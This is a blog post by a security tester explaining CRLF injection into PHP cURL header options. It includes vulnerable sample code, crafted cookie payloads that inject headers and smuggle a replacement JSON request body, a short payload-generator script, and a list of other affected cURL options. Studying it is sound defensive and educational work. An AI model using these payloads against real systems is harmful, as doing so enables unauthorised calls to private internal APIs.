CRLF Injection Into PHP’s cURL Options

This is a post about injecting carriage return and line feed characters into a internal API call. I wrote this up a year ago as a Gist on GitHub, but that’s not really the best platform for blog posts, is it? I’ve added more detail here so it’s not just a straight copy and paste.

I like to do white-box testing when I can. I’m not a very good black-box tester, but I’ve spent more than a decade reading and writing PHP — and made my fair share of mistakes along the way — so I tend to know what to look out for.

I was trawling through some source code and came across a function that looked a little bit like this:

<?php
// common.php

function getTrialGroups(){
$trialGroups = 'default';

if (isset($_COOKIE['trialGroups'])){
$trialGroups = $_COOKIE['trialGroups'];
}

return explode(",", $trialGroups);
}

The system I was looking at had a concept of ‘Trial Groups’. Every user session had a set of groups associated with it, stored as a comma-separated list in a cookie. The idea was that when new features were launched they could be enabled for a small percentage of customers at first to de-risk the feature launch, or allow comparison of different variations on a feature (an approach known as A/B Testing). The getTrialGroups() function simply read the cookie value, split the list apart and returned an array of trial groups for that user.

The lack of whitelisting in this function immediately caught my attention. I grepped the rest of the codebase to find where the function was called so I could see if there was any unsafe use of its return value.

I can’t share the exact code, but I’ve written a rough approximation of one of the things I found:

<?php
// server.php

// Include common functions
require __DIR__.'/common.php';

// Using the awesome httpbin.org here to just reflect
// our whole request back at us as JSON :)
$ch = curl_init("http://httpbin.org/post");

// Make curl_exec return the response body
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Set the content type and pass through any trial groups
curl_setopt($ch, CURLOPT_HTTPHEADER, [
"Content-Type: application/json",
"X-Trial-Groups: " . implode(",", getTrialGroups())
]);

// Call the 'getPublicData' RPC method on the internal API
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([
"method" => "getPublicData",
"params" => []
]));

// Return the response to the user
echo curl_exec($ch);

curl_close($ch);

This code was calling the getPublicData method on an internal JSON API using the cURL library. That API needed to know about the user’s trial groups so it could change its behaviour accordingly, and so the trial groups were being passed to the API in an X-Trial-Groups header.

The issue here is that when setting the CURLOPT_HTTPHEADER, the values are not checked for carriage return or line feed characters. Because the getTrialGroups() function returns user-controllable data, it’s possible to inject arbitrary headers into the API request.


Demo Time

To make things easier to follow, I’m going to run server.php locally using PHP’s built-in web server:

tom@slim:~/tmp/crlf▶ php -S localhost:1234 server.php
PHP 7.2.7-0ubuntu0.18.04.2 Development Server started at Sun Jul 29 14:15:14 2018
Listening on http://localhost:1234
Document root is /home/tom/tmp/crlf
Press Ctrl-C to quit.

Using the cURL command line utility we can send an example request that includes a trialGroups cookie:

tom@slim:~▶ curl -s localhost:1234 -b 'trialGroups=A1,B2' 
{
"args": {},
"data": "{\"method\":\"getPublicData\",\"params\":[]}",
"files": {},
"form": {},
"headers": {
"Accept": "*/*",
"Connection": "close",
"Content-Length": "38",
"Content-Type": "application/json",
"Host": "httpbin.org",
"X-Trial-Groups": "A1,B2"
},
"json": {
"method": "getPublicData",
"params": []
},
"origin": "X.X.X.X",
"url": "http://httpbin.org/post"
}

In place of the internal API endpoint I’m using http://httpbin.org/post, which returns a JSON document describing the POST request that was sent, including any POST data and headers that were in the request.

The important thing to note about the response is that the X-Trial-Groups header sent to httpbin.org contains the A1,B2 string that was in the trialGroups cookie. Let’s try some CRLF (Carriage Return Line Feed) injection then:

tom@slim:~▶ curl -s localhost:1234 -b 'trialGroups=A1,B2%0d%0aX-Injected:%20true' 
{
"args": {},
"data": "{\"method\":\"getPublicData\",\"params\":[]}",
"files": {},
"form": {},
"headers": {
"Accept": "*/*",
"Connection": "close",
"Content-Length": "38",
"Content-Type": "application/json",
"Host": "httpbin.org",
"X-Injected": "true",
"X-Trial-Groups": "A1,B2"
},
"json": {
"method": "getPublicData",
"params": []
},
"origin": "X.X.X.X",
"url": "http://httpbin.org/post"
}

PHP automatically decodes URL-encoded sequences (e.g. %0d, %0a) in cookie values, so we can use a URL-encoded carriage return character (%0d) and line feed character (%0a) in the cookie value we send. HTTP headers are separated by CRLF sequences, so when the PHP cURL library writes the request headers the X-Injected: true part of our payload is treated as a separate header. Magic!


HTTP Requests

What can you really do by injecting headers into the request? Well, truth be told: not very much in this case. If we dig a little deeper into the structure of an HTTP request you’ll see that we can do more than just inject headers though; we can inject POST data too!

To understand how the exploit will work, you need to know a little bit about HTTP requests. Just about the most basic HTTP POST request you can do looks like this:

POST /post HTTP/1.1
Host: httpbin.org
Connection: close
Content-Length: 7
thedata

Let’s break it down line-by-line.

POST /post HTTP/1.1

The first line says to use the POST method to send a request to the /post endpoint, using HTTP version 1.1.

Host: httpbin.org

This header tells the remote server that we are requesting a page on httpbin.org. This may seem redundant, but when you connect to an HTTP server you’re connecting to the IP address for the server, not the domain name. If you don’t include a Host header in your request the server has no way to know what domain you typed into your browser’s address bar.

Connection: close

This header asks the server to close the underlying TCP connection once it has finished sending its response. Without this header the connection may stay open after the response has been sent.

Content-Length: 7

The Content-Length header tells the server how many bytes of data will be sent in the request body. This one is important :)

There isn’t a mistake here; this empty-looking line contains nothing but a CRLF sequence. It tells the server that we’re done sending headers and the request body is about to be sent.

thedata

Lastly we send the request body (AKA POST data). Its length (in bytes) must match up with the Content-Length header we sent earlier because we told the server it would have to read that many bytes.

Let’s send this request to httpbin.org by piping an echo command into netcat:

tom@slim:~▶ echo -e "POST /post HTTP/1.1\r\nHost: httpbin.org\r\nConnection: close\r\nContent-Length: 7\r\n\r\nthedata" | nc httpbin.org 80
HTTP/1.1 200 OK
Connection: close
Server: gunicorn/19.9.0
Date: Sun, 29 Jul 2018 14:16:34 GMT
Content-Type: application/json
Content-Length: 257
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Via: 1.1 vegur
{
"args": {},
"data": "thedata",
"files": {},
"form": {},
"headers": {
"Connection": "close",
"Content-Length": "7",
"Host": "httpbin.org"
},
"json": null,
"origin": "X.X.X.X",
"url": "http://httpbin.org/post"
}

Everything works as expected. We get some response headers, a CRLF sequence, and then the response body.

So, here comes the trick: what happens if you send more POST data than you said you would in your Content-Length header? Let’s try it:

tom@slim:~▶ echo -e "POST /post HTTP/1.1\r\nHost: httpbin.org\r\nConnection: close\r\nContent-Length: 7\r\n\r\nthedata some more data" | nc httpbin.org 80
HTTP/1.1 200 OK
Connection: close
Server: gunicorn/19.9.0
Date: Sun, 29 Jul 2018 14:20:10 GMT
Content-Type: application/json
Content-Length: 257
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Via: 1.1 vegur
{
"args": {},
"data": "thedata",
"files": {},
"form": {},
"headers": {
"Connection": "close",
"Content-Length": "7",
"Host": "httpbin.org"
},
"json": null,
"origin": "X.X.X.X",
"url": "http://httpbin.org/post"
}

We kept the Content-Length header the same and said we’d send 7 bytes, and added some more data to the request body, but the server only read the first 7 bytes. And that is the trick we can use to actually craft an exploit.


The Exploit

It turns out that when you set the CURLOPT_HTTPHEADER option, not only can you inject headers by using a single CRLF sequence, you can inject POST data using a double CRLF sequence. So here’s the plan:

  1. Craft our own JSON POST data that calls some method other than getPublicData; let’s say getPrivateData
  2. Get the length of that data in bytes
  3. Using a single CRLF sequence, inject a Content-Length header that instructs the server to only read that number of bytes
  4. Inject two CRLF sequences, and then our malicious JSON as the POST data

If all goes well, the legitimate JSONPOST data should be completely ignored by the internal API, in favour of our malicious JSON.

To make things easier on myself, I tend to write little scripts to generate these kinds of payloads; it reduces the chances that I’ll make a mistake and tie my brain in knots trying to figure out why it’s not working. Here’s what I wrote:

tom@slim:~▶ cat gencookie.php 
<?php
$postData = '{"method": "getPrivateData", "params": []}';
$length = strlen($postData);
$payload = "ignore\r\nContent-Length: {$length}\r\n\r\n{$postData}";
echo "trialGroups=".urlencode($payload);
tom@slim:~▶ php gencookie.php
trialGroups=ignore%0D%0AContent-Length%3A+42%0D%0A%0D%0A%7B%22method%22%3A+%22getPrivateData%22%2C+%22params%22%3A+%5B%5D%7D

Let’s give it a try:

tom@slim:~▶ curl -s localhost:1234 -b $(php gencookie.php) 
{
"args": {},
"data": "{\"method\": \"getPrivateData\", \"params\": []}",
"files": {},
"form": {},
"headers": {
"Accept": "*/*",
"Connection": "close",
"Content-Length": "42",
"Content-Type": "application/json",
"Host": "httpbin.org",
"X-Trial-Groups": "ignore"
},
"json": {
"method": "getPrivateData",
"params": []
},
"origin": "X.X.X.X",
"url": "http://httpbin.org/post"
}

Great success! We set the x-Trial-Groups header to ignore, injected a Content-Length header, and our own POST data. The legitimate POST data was still sent, but it was completely ignored by the server :)

This is the kind of bug that you’re unlikely to find doing black-box testing, but I think it’s still worth writing about because there is so much open source code in use these days, and it’s always good to educate people who write code about attack vectors they might not be aware of too.


Other Vectors

Since finding this bug I’ve tried to keep an eye out for similar situations. In my research I’ve found that CURLOPT_HTTPHEADER isn’t the only cURL option that’s vulnerable to the same attack. The following options (and possibly others!) implicitly set headers on the request, and are vulnerable:

  • CURLOPT_HEADER
  • CURLOPT_COOKIE
  • CURLOPT_RANGE
  • CURLOPT_REFERER
  • CURLOPT_USERAGENT
  • CURLOPT_PROXYHEADER

Please do let me know if you find more :)